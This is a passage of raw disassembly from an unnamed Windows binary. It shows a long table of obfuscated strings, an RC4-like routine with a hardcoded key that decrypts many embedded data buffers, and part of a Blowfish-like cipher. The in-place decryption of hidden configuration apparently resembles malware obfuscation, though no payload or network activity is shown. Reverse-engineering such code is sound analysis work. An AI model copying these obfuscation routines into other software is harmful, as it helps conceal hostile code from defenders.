sub_415641 push offset aVdirq_mjcpx1 ; "vDIrQ.MJcpx1" push esi call sub_415641 add esp, 40h push offset aSad25HpR91 ; "Sad25/hP/R91" push esi call sub_415641 push offset aVsz2xXqjp5 ; "Vsz2x/xqJP5/" push esi call sub_415641 push offset aPnb_aBfzu60_0 ; "pNb.a/Bfzu60" push esi call sub_415641 push offset aI7atf_8Tag1 ; "i7Atf.8/tag1" push esi call sub_415641 push offset aDo5oa0u5m7_ ; "dO5oA/0U5m7." push esi call sub_415641 push offset aS3dyJzo6r_0 ; "s3dY//JZo6r/" push esi call sub_415641 push offset aKe3l20ufrlq0 ; "kE3L20Ufrlq0" push esi call sub_415641 push offset aVp1weJvqbn_ ; "VP1WE/JVQbn." push esi call sub_415641 add esp, 40h push offset aUaxwg1w8vsp0qr ; "UaxWg1w8vSP0QRn4z10ge1I1" push esi call sub_415641 push offset aQbwgd0cfxf_ ; "qbwGd0CFxf./" push esi call sub_415641 push offset a2mo7g0_b0qj ; "2mo7G0.B0qj/" push esi call sub_415641 push offset a47ff020f_0_ ; "47Ff/020f.0." push esi call sub_415641 push offset aHyomeIovtv_ ; "HyOMe/iovtV." push esi call sub_415641 push offset aPlsymAee6v1_0 ; "PlsYM/aEe6v1" push esi call sub_415641 push offset aCwxyh0ryouv1 ; "CwXYh0RYoUv1" push esi call sub_415641 push offset aEavyh_ic0dc0 ; "eAvYh.IC0dc0" push esi call sub_415641 add esp, 40h push offset aUz3rf_vtkug1 ; "uz3rf.VTKug1" push esi call sub_415641 push offset aMaeyv0bdsgj0 ; "MAEyv0BdSGj0" push esi call sub_415641 push offset aI3ncg_v5u4g_ ; "I3nCG.v5U4g." push esi call sub_415641 push offset a9bwj__lz2my0 ; "9bWj..lZ2My0" push esi call sub_415641 push offset aRiocl1kztwo0 ; "rioCl1kzTWO0" push esi call sub_415641 push offset a_swwg1hqeii1 ; ".SWwg1hqeiI1" push esi call sub_415641 loc_415B66: ; DATA XREF: .text:off_443F18o push offset aG3obv_r6j7h ; "g3obv.r6j7H/" push esi call sub_415641 push offset aM5spx_qp7lx_ ; "M5sPX.Qp7Lx." push esi call sub_415641 add esp, 40h push offset aItx_n_wpamx_ ; "ITx.N.WPAmx." push esi call sub_415641 push offset aLndk50vzcqw0 ; "LNdk50vzCqW0" push esi call sub_415641 push offset a9ljbh07crkd_ ; "9lJBH07crkD." push esi call sub_415641 push offset aAjttz06ztse1 ; "ajTtz06Ztse1" push esi call sub_415641 push offset aUn3hk0sn58o ; "uN3hk0sn58o/" push esi call sub_415641 push offset aQrn4z10ge1i1 ; "QRn4z10ge1I1" push esi call sub_415641 push offset aBvuso0ed3mw ; "bVUSO0ed3MW/" push esi call sub_415641 push offset aM1d_716jg1r1 ; "M1d.716Jg1r1" push esi call sub_415641 add esp, 40h push offset a6x2ka0buubb_ ; "6x2Ka0buUbB." push esi call sub_415641 push offset aUqyil_iyvpi_ ; "uQYiL.iYvpI." push esi call sub_415641 push offset a4qyyh1q2ps1 ; "4QyYH1q/2ps1" push esi call sub_415641 push offset aZgidu12tiv0 ; "ZGidU12tiV0/" push esi call sub_415641 push offset aHgcrw_cwuf5_ ; "HGCRW.CWUF5." push esi call sub_415641 push offset aGztle_nhywf ; "gzTlE.nhywf/" push esi call sub_415641 push offset aTvjro1ubgtg1 ; "TVJrO1uBGtg1" push esi call sub_415641 push offset aL80reUvcue1 ; "l80re/UvCUe1" push esi call sub_415641 add esp, 40h push offset aVxa_uCdd7s0 ; "VXA.u/cDD7S0" push esi call sub_415641 push offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C." push esi call sub_415641 push offset aSxytb1_eejq_ ; "SXYtb1.EEjQ." push esi call sub_415641 push offset aVb1r0N_arr0 ; "vB1r0/N.Arr0" push esi call sub_415641 push offset a8im6i__c829_ ; "8Im6i..C829." push esi call sub_415641 push offset aTiyj208fhvn_ ; "tIYj208FHvN." push esi call sub_415641 push offset a5ngN0zjh2i1 ; "5nG/N0ZJh2i1" push esi call sub_415641 push offset aMdf9n0kzpx60 ; "mdf9n0kzPX60" push esi call sub_415641 add esp, 40h push offset aAtfv_jgk0x1 ; "/ATfv.jgK0X1" push esi call sub_415641 push offset aFu6k10irsc1 ; "fu6k10iRsc/1" push esi call sub_415641 push offset a_luua_bruje0 ; ".lUua.bruje0" push esi call sub_415641 push offset aKzqshDhric_ ; "kzqSH/dhRIc." push esi call sub_415641 push offset aUycsBekwp0 ; "/uYcs/BEKWP0" push esi call sub_415641 push offset aWwfbf_0ptze_ ; "WWFBf.0ptzE." push esi call sub_415641 push offset aFhzdv1ootfg0 ; "fhzdV1OotFg0" push esi call sub_415641 push offset aUmk7x0pwyw9Qrn ; "Umk7x0PwyW9/QRn4z10ge1I1" push esi call sub_415641 add esp, 40h push offset aHpmch0pbq800 ; "HPmCH0PbQ800" push esi call sub_415641 push offset aUfbss0cbo8c__0 ; "uFbSS0Cbo8C." push esi call sub_415641 push offset aNoazx1alvg0 ; "NoaZx1Alvg/0" push esi call sub_415641 push offset a7fugu_n0u2m1 ; "7FUgU.N0U2m1" push esi call sub_415641 push offset aW3dwl46o0u0 ; "w3dWL/46o0u0" push esi call sub_415641 push offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1" push esi call sub_415641 push offset a6x7zf1eztny_ ; "6x7zf1EztnY." push esi call sub_415641 push offset a7otcu0fic6v0 ; "7otcU0FiC6V0" push esi call sub_415641 add esp, 40h push offset aFyflu0ji3xh_ ; "FyFlU0jI3XH." push esi call sub_415641 push offset aDnjyk0fwki__ ; "dnjYk0fWkI.." push esi call sub_415641 push offset aXmz20Gjkq ; "xMz20//gJkQ/" push esi call sub_415641 push offset aNhr6r0qsk450 ; "nHr6r0qsk450" push esi call sub_415641 push offset aX_62c_3ldcp ; "X.62C.3LDCP/" push esi call sub_415641 push offset aWt4rnWgl6v_ ; "wt4Rn/WGL6V." push esi call sub_415641 push offset aImvbw1shwxq0 ; "iMvbW1SHwxQ0" push esi call sub_415641 push offset a4h4m_q_guy_ ; "4h4m/.Q.GUy." push esi call sub_415641 add esp, 40h push offset aPsern1aagh6_ ; "pSern1AAGh6." push esi call sub_415641 push offset aXkg84_cesgs_ ; "XkG84.cESgs." push esi call sub_415641 push offset aUyfog_dvvny0 ; "UyfOG.DvVnY0" push esi call sub_415641 push offset aP06vqBfbmo_ ; "p06vq/BFBMo." push esi call sub_415641 push offset a3vvsv1vurua ; "3VVsV1VuRUA/" push esi call sub_415641 push offset aW1w2v121jsp_ ; "w1w2V121JSP." push esi call sub_415641 push offset aVz62d1m0yya ; "Vz62d1m0Yya/" push esi call sub_415641 push offset aF4c9z1ubcg80 ; "F4c9z1UBCg80" push esi call sub_415641 add esp, 40h push offset a2yclo0srxpi ; "2YClO0SRxpi/" push esi call sub_415641 push offset aH3yh9_xq_s2_ ; "h3YH9.Xq.S2." push esi call sub_415641 push offset aIwbkf0o1om6Qrn ; "IwBKf0O1Om6/QRn4z10ge1I1" push esi call sub_415641 push offset aKmdie1uwntq ; "KmdIe1UwntQ/" push esi call sub_415641 push offset aUpx0wCz2ei0qrn ; "UPx0W/cz2EI0QRn4z10ge1I1" push esi call sub_415641 push offset aV6jbh0k4uD_ ; "V6jBH0k4u/d." push esi call sub_415641 push offset aB2smo_whkew_qr ; "B2smo.WHkeW.QRn4z10ge1I1" push esi call sub_415641 push offset aVxg7n_qbmg90aa ; "vXG7N.qBMG90aA/Td0EX07M1" push esi call sub_415641 add esp, 40h push offset aEm42x_1iszi1 ; "Em42x.1IsZI1" push esi call sub_415641 push offset aErnniHm17t1qrn ; "ERNNi/HM17T1QRn4z10ge1I1" push esi call sub_415641 push offset aQ5l5f_2to_60 ; "q5l5f.2TO.60" push esi call sub_415641 push offset aJbkl4Fbwcf1 ; "jBKL4/FbWCF1" push esi call sub_415641 push offset aW3gp6_13acy1_0 ; "W3GP6.13AcY1" push esi call sub_415641 push offset aM08se_kt9td1 ; "M08SE.Kt9tD1" push esi call sub_415641 push offset a3eowx2ocng ; "3eowX/2OCnG/" push esi call sub_415641 push offset aS3dyJzo6r ; "s3dY//JZo6r/" push esi call sub_415641 add esp, 40h push offset aUwher1dagd80 ; "UWher1DAGD80" push esi call sub_415641 push offset aPnb_aBfzu60 ; "pNb.a/Bfzu60" push esi call sub_415641 push offset aZu2s6_o7_yt ; "Zu2s6.O7.yt/" push esi call sub_415641 push offset a4hftz6holr ; "4hftZ/6HOlR/" push esi call sub_415641 push offset aYqrdp_9rf4u0 ; "yqrdP.9rF4U0" push esi call sub_415641 push offset a1uyis15kh_n1 ; "1UyIs15KH.n1" push esi call sub_415641 push offset a9ljbh07crkd__0 ; "9lJBH07crkD." push esi call sub_415641 push offset aD0ron_ctdg0_ ; "D0roN.CTDg0." push esi call sub_415641 add esp, 40h push offset aFr8ri0f9nfz_ ; "fr8ri0f9NfZ." push esi call sub_415641 push offset aWbzcx0Dknt_ ; "wbZcx0/Dknt." push esi call sub_415641 push offset aNyjsr1cv5ch0 ; "NyJsR1cV5CH0" push esi call sub_415641 push offset aI6sd4ctzn0 ; "/I6sD/4CTzn0" push esi call sub_415641 push offset aWrlthN3uh_1 ; "WRlth/n3Uh.1" push esi call sub_415641 push offset aYqjsn0wtutn1 ; "yQJsn0wtUtn1" push esi call sub_415641 push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push esi call sub_415641 push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1" push esi call sub_415641 add esp, 40h push offset aFfec81uznt81 ; "fFEC81UzNT81" push esi call sub_415641 push offset aJvatg1988z81 ; "jVATg1988z81" push esi call sub_415641 push offset aPrttt0s3ag916n ; "pRTtT0s3aG916N5aw.affEY1" push esi call sub_415641 push offset aHm1h_049e4o ; "Hm1H.049e4O/" push esi call sub_415641 push offset aWj27_1belx20 ; "wj27.1Belx20" push esi call sub_415641 push offset aAl_N0kenp20 ; "Al./N0Kenp20" push esi call sub_415641 push offset a6h4nn1igjm60 ; "6h4NN1IGJm60" push esi call sub_415641 push offset aUr6ne_mot50_ ; "Ur6ne.MOT50." push esi call sub_415641 add esp, 40h push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push esi call sub_415641 push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0" push esi call sub_415641 push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0" push esi call sub_415641 push offset aC4dd9_nojvo1 ; "C4dD9.nojvO1" push esi call sub_415641 push offset aJt17j1imtvd1 ; "jt17J1ImTVD1" push esi call sub_415641 push offset aLtlec18us5q0 ; "LTLec18US5q0" push esi call sub_415641 push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" push esi call sub_415641 push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF." push esi call sub_415641 add esp, 40h push offset aWhdag1glagf_ ; "WHdAg1glAgf." push esi call sub_415641 push offset aLmecq0ygcok ; "lmecq0yGcoK/" push esi call sub_415641 push offset aRccsh_adukf1 ; "RcCSh.AdUKf1" push esi call sub_415641 push offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1" push esi call sub_415641 push offset aHuudgYqzdz ; "HuuDG/YQZDz/" push esi call sub_415641 push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" push esi call sub_415641 push offset aPtami1_agv ; "PTaMI1/.aGV/" push esi call sub_415641 push offset aUhdhc1pcv9i ; "uhdhC1pCV9i/" push esi call sub_415641 add esp, 40h push offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0" push esi call sub_415641 push offset aBjatzQyrs11 ; "BjAtz/qyRS11" push esi call sub_415641 push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" push esi call sub_415641 push offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0" push esi call sub_415641 push offset aYhzck13caog0 ; "YhzCK13CaOG0" push esi call sub_415641 push offset aAxauo_rlggx0 ; "aXauo.rLGgX0" push esi call sub_415641 push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1" push esi call sub_415641 push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." push esi call sub_415641 add esp, 40h push offset aSsoce0jbtxi ; "sSOce0JbTXI/" push esi call sub_415641 push offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1" push esi call sub_415641 push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" push esi call sub_415641 push offset a5oke1awbzq ; "5OkE/1AWBZq/" push esi call sub_415641 push offset aIhfnL6b5x ; "/iHFN/l6B5X/" push esi call sub_415641 push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" push esi call sub_415641 push offset aBnjcz_zig1m0 ; "bNJcZ.ziG1m0" push esi call sub_415641 push offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0" push esi call sub_415641 add esp, 40h push offset aYdidb16dnmq_ ; "YdidB16dnMQ." push esi call sub_415641 push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0" push esi call sub_415641 push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A." push esi call sub_415641 push offset aNd4qzY5xml0rna ; "nD4Qz/y5xMl0RNAQI05pV11/XzinP/s/R0A." push esi call sub_415641 push offset aRy6iq0udbph ; "RY6IQ0UDbPh/" push esi call sub_415641 push offset aW3nki_guvjx ; "w3NKI.gUvJx/" push esi call sub_415641 push offset aRy6iq0udbphLlD ; "RY6IQ0UDbPh/LL/Dw.r3B9K/" push esi call sub_415641 push offset aRy6iq0udbphN2n ; "RY6IQ0UDbPh/N2NHs/pc9zb/8Wb3v063Ds00" push esi call sub_415641 add esp, 40h push offset a8cbgoRjryr_ ; "8CBGO/rJRYr." push esi call sub_415641 push offset aKbwmi16jfhl ; "KbwMi16jFhl/" push esi call sub_415641 push offset aIde746o6B_ ; "Ide74/6o6/B." push esi call sub_415641 push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1" push esi call sub_415641 push offset a7zfry0iusme1 ; "7Zfry0IUSmE1" push esi call sub_415641 push offset a_9fty1n2tM_ ; ".9ftY1N2T/m." push esi call sub_415641 push offset aVxppy0owq7d ; "VxPpy0owQ7D/" push esi call sub_415641 push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0" push esi call sub_415641 add esp, 40h push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0" push esi call sub_415641 push offset aEih0f1gakfp0 ; "EiH0f1GakFP0" push esi call sub_415641 push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_415641 push offset aLvk_hHddio0 ; "Lvk.H/hddio0" push esi call sub_415641 push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0" push esi call sub_415641 push offset aAqq27_7qqv10 ; "AQQ27.7qQv10" push esi call sub_415641 push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6." push esi call sub_415641 push offset aQvp40nd9f2 ; "/qvP40nD9F2/" push esi call sub_415641 add esp, 40h push offset aMkk0_mvscp_hwh ; "mKK0/.MVScP.hwHKV/Er1cB0ZvOBu/66U/i/nNp"... push esi call sub_415641 push offset aShktk1eNl8Jlzt ; "sHKtk1e/Nl8/jLZte1JtI/t1" push esi call sub_415641 push offset aZcm1__num3n0oe ; "ZcM1..nUM3N0OE819.1TEYD." push esi call sub_415641 push offset a5_xnq0cowxs0 ; "5.Xnq0cowXs0" push esi call sub_415641 push offset a8y4sz09fdh50tc ; "8Y4sz09fDH50tccap0cH5OH0/mDXM1sxCV2/iNR"... push esi call sub_415641 push offset aRnyaa0crtpo0yy ; "RNYAA0crTPO0yYB2h.Fe8bw.iRLzu0EdQ3j/1D6"... push esi call sub_415641 push offset aEuior0ay2w7_ ; "EUIOR0ay2w7." push esi call sub_415641 push offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/" push esi call sub_415641 add esp, 40h push offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/" push esi call sub_415641 push offset aTpzyk0moe8_0jt ; "TpzyK0MOE8.0jTPEZ1dC0uG0" push esi call sub_415641 push offset a4ezrg1ye5hp1o2 ; "4Ezrg1ye5hp1O2jqY1BhtQc.jTPEZ1dC0uG0" push esi call sub_415641 push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... push esi call sub_415641 push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push esi call sub_415641 push offset a2ms3c_kjtek0 ; "2MS3c.kJTeK0" push esi call sub_415641 push offset aOgyzo1Qmpy1 ; "OGyZo1/qmpy1" push esi call sub_415641 push offset aNI427pnt0 ; "n/i4//27pnT0" push esi call sub_415641 add esp, 40h push offset aXg4wo0gh6fy0p9 ; "xg4wO0Gh6FY0p9CIj.BYYVY." push esi call sub_415641 push offset aTarxm0mtxpp_ ; "tArXm0mtxpp." push esi call sub_415641 push offset aQ3bef_grjcn1aa ; "Q3BEf.grJCN1aA/Td0EX07M1" push esi call sub_415641 push offset aPJs70eukyp0 ; "P/JS70EukYp0" push esi call sub_415641 push offset aUDneTzo8s_omqd ; "u/DnE/tzo8s.OMQDW1DERIa/" push esi call sub_415641 push offset a2n67h0pevch1 ; "2n67H0PEVch1" push esi call sub_415641 push offset a5v1zc1efrzg_tc ; "5v1zc1EfRZg.tccap0cH5OH0NHckR.k9Wj.1" push esi call sub_415641 push offset a6f3al1m_ydx05y ; "6f3aL1m.YdX05ythl/YiVnR/jSlje0VWu/50peq"... push esi call sub_415641 add esp, 40h push offset a3un9w_temux_5y ; "3Un9W.TEMuX.5ythl/YiVnR/J9IiO.VPA7i1" push esi call sub_415641 push offset a7nmru1owjrg0md ; "7NmRu1oWjRG0Md/AN15kOfy.nR01m1pzFKu1" push esi call sub_415641 push offset aNeuf6qyoiMdAn1 ; "NEuF//6QYOi/Md/AN15kOfy.nR01m1pzFKu1" push esi call sub_415641 push offset aNxruj_viib6 ; "nxruJ.vIib6/" push esi call sub_415641 push offset a5gcpxGycn21n1z ; "5GCpx/gYCn21N1Zsj.w3Ty30" push esi call sub_415641 push offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." push esi call sub_415641 push offset aPimgt12pvee_ ; "pImgT12pvEE." push esi call sub_415641 push offset aJgyqn0dmzir12z ; "jgYqN0dmziR12zQe40gFoLm.rilJR.uuL/I0" push esi call sub_415641 add esp, 40h push offset aAqejv_njvii_y8 ; "aQeJV.nJvIi.y8Ri./b5L.q." push esi call sub_415641 pop ecx pop ecx pop esi retn sub_41567F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4163BB proc near ; CODE XREF: sub_416596+18p ; sub_416596+30p ... var_394 = byte ptr -394h var_1EC = byte ptr -1ECh var_44 = dword ptr -44h var_40 = byte ptr -40h var_3F = byte ptr -3Fh var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh var_3A = byte ptr -3Ah var_39 = byte ptr -39h var_38 = byte ptr -38h var_37 = byte ptr -37h var_36 = byte ptr -36h var_35 = byte ptr -35h var_34 = byte ptr -34h var_33 = byte ptr -33h var_32 = byte ptr -32h var_31 = byte ptr -31h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = byte ptr -2Ah var_29 = byte ptr -29h var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 394h push ebx push esi lea eax, [ebp+var_40] push edi xor ebx, ebx push eax xor edi, edi mov [ebp+var_40], 0Ah mov [ebp+var_3F], 0Eh mov [ebp+var_3E], 20h mov [ebp+var_3D], 48h mov [ebp+var_3C], 0Bh mov [ebp+var_3B], 2Bh mov [ebp+var_3A], 0Ch mov [ebp+var_39], 23h mov [ebp+var_38], 3Ah mov [ebp+var_37], 27h mov [ebp+var_36], 28h mov [ebp+var_35], 5Eh mov [ebp+var_34], 2Ah mov [ebp+var_33], 1Eh mov [ebp+var_32], 2Dh mov [ebp+var_31], 5Ah mov [ebp+var_30], 1Bh mov [ebp+var_2F], 0Fh mov [ebp+var_2E], 4Ch mov [ebp+var_2D], 44h mov [ebp+var_2C], 16h mov [ebp+var_2B], 4 mov [ebp+var_2A], 57h mov [ebp+var_29], 23h mov [ebp+var_28], 11h mov [ebp+var_27], 53h mov [ebp+var_26], 38h mov [ebp+var_25], 13h mov [ebp+var_24], 0Dh mov [ebp+var_23], 12h mov [ebp+var_22], 25h mov [ebp+var_21], 1Ch mov [ebp+var_20], 30h mov [ebp+var_1F], 12h mov [ebp+var_1E], 50h mov [ebp+var_1D], 4Fh mov [ebp+var_1C], 39h mov [ebp+var_1B], 10h mov [ebp+var_1A], 42h mov [ebp+var_19], 1Fh mov [ebp+var_18], 37h mov [ebp+var_17], 1Dh mov [ebp+var_16], 41h mov [ebp+var_15], 55h mov [ebp+var_14], 2Ch mov [ebp+var_13], 41h mov [ebp+var_12], 2Ch mov [ebp+var_11], 5Dh mov [ebp+var_10], bl call sub_4293A0 mov esi, 1A5h mov [ebp+var_C], eax push esi lea eax, [ebp+var_1EC] push ebx push eax call sub_429760 push esi lea eax, [ebp+var_394] push ebx push eax call sub_429760 add esp, 1Ch xor eax, eax mov ecx, 1A4h loc_4164C5: ; CODE XREF: sub_4163BB+114j mov [ebp+eax+var_1EC], al inc eax cmp eax, ecx jb short loc_4164C5 xor esi, esi loc_4164D3: ; CODE XREF: sub_4163BB+12Ej cmp edi, [ebp+var_C] jnz short loc_4164DA xor edi, edi loc_4164DA: ; CODE XREF: sub_4163BB+11Bj mov al, [ebp+edi+var_40] inc edi mov [ebp+esi+var_394], al inc esi cmp esi, ecx jb short loc_4164D3 xor edx, edx xor edi, edi loc_4164EF: ; CODE XREF: sub_4163BB+168j movzx ebx, [ebp+edi+var_394] lea esi, [ebp+edi+var_1EC] add edx, ebx mov ebx, ecx mov al, [esi] mov [ebp+var_1], al movzx eax, al add eax, edx xor edx, edx div ebx inc edi cmp edi, ecx lea eax, [ebp+edx+var_1EC] mov bl, [eax] mov [esi], bl mov bl, [ebp+var_1] mov [eax], bl jb short loc_4164EF xor eax, eax cmp [ebp+arg_4], eax mov [ebp+var_C], eax mov [ebp+var_8], eax jbe short loc_416591 jmp short loc_416537 ; --------------------------------------------------------------------------- loc_416534: ; CODE XREF: sub_4163BB+1D4j mov eax, [ebp+var_44] loc_416537: ; CODE XREF: sub_4163BB+177j inc eax xor edx, edx mov esi, ecx mov edi, ecx div esi mov [ebp+var_44], edx lea esi, [ebp+edx+var_1EC] xor edx, edx mov bl, [esi] movzx eax, bl add eax, [ebp+var_C] div edi mov [ebp+var_C], edx lea eax, [ebp+edx+var_1EC] mov dl, [eax] mov [esi], dl mov edx, [ebp+var_8] mov [eax], bl mov eax, [ebp+arg_0] lea edi, [edx+eax] movzx eax, byte ptr [esi] movzx edx, bl add eax, edx xor edx, edx mov esi, ecx div esi mov al, [ebp+edx+var_1EC] xor [edi], al inc [ebp+var_8] mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jb short loc_416534 loc_416591: ; CODE XREF: sub_4163BB+175j pop edi pop esi pop ebx leave retn sub_4163BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416596 proc near ; CODE XREF: sub_418E0F+76p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi xor esi, esi push edi push esi mov edi, offset dword_4439A8 push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset dword_4439B4 push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset dword_443E68 push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset dword_443E8C push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset dword_443EB0 push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h xor ebx, ebx cmp [ebp+arg_0], esi jle short loc_41663F loc_41661D: ; CODE XREF: sub_416596+A7j lea edi, ds:443F00h[ebx*4] push esi push esi push dword ptr [edi] call sub_4293A0 pop ecx push eax push dword ptr [edi] call sub_4163BB add esp, 10h inc ebx cmp ebx, [ebp+arg_0] jl short loc_41661D loc_41663F: ; CODE XREF: sub_416596+85j push esi mov edi, offset dword_443F14 push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset off_443F18 push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset byte_457F6C push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset byte_457F6D push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset dword_443F1C push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset dword_443F24 push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset dword_443F2C push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset dword_443F34 push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB mov eax, [ebp+arg_4] add esp, 10h cmp eax, esi jle short loc_416745 mov edi, offset byte_443FDF mov [ebp+arg_0], eax loc_41670E: ; CODE XREF: sub_416596+1ADj lea ebx, [edi-9Fh] push esi push esi push ebx call sub_4293A0 pop ecx push eax push ebx call sub_4163BB add esp, 10h push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h add edi, 0B8h dec [ebp+arg_0] jnz short loc_41670E loc_416745: ; CODE XREF: sub_416596+16Ej push esi mov edi, offset dword_444F14 push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset byte_445013 push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset dword_445324 push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset byte_445423 push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset dword_445734 push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset byte_445833 push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset a3c9 ; "]&3c9" push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset dword_4439BC push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h push esi mov edi, offset dword_443A5C push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset byte_443B5B push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset dword_4439CC push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h mov edi, offset dword_4439E8 push esi push esi push edi call sub_4293A0 pop ecx push eax push edi call sub_4163BB add esp, 10h push esi push esi mov esi, offset loc_443A08 push esi call sub_4293A0 pop ecx push eax push esi call sub_4163BB add esp, 10h pop edi pop esi pop ebx pop ebp retn sub_416596 endp ; =============== S U B R O U T I N E ======================================= sub_416882 proc near ; CODE XREF: sub_4170D6+65p ; sub_417212+68p var_8 = dword ptr -8 push esi push 48h mov esi, ecx call sub_42B4D7 mov [esi], eax mov [esp+8+var_8], 13A0h call sub_42B4D7 mov [esi+4], eax pop ecx mov eax, esi pop esi retn sub_416882 endp ; =============== S U B R O U T I N E ======================================= sub_4168A2 proc near ; CODE XREF: sub_4170D6+12Bp ; sub_417212+13Fp push esi mov esi, ecx push dword ptr [esi] call sub_4290D0 push dword ptr [esi+4] call sub_4290D0 pop ecx pop ecx pop esi retn sub_4168A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168B8 proc near ; CODE XREF: sub_416F9C+C0p ; sub_416F9C+F3p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov edi, [ecx] mov edx, [eax] mov eax, [ecx+4] xor ecx, ecx xor edx, [edi] xor ebx, ebx mov [ebp+var_C], edi mov [ebp+var_4], edx mov esi, edx mov cl, byte ptr [ebp+var_4+2] mov bl, dh shr esi, 18h mov ecx, [eax+ecx*4+4E8h] add ecx, [eax+esi*4] mov esi, 0FFh 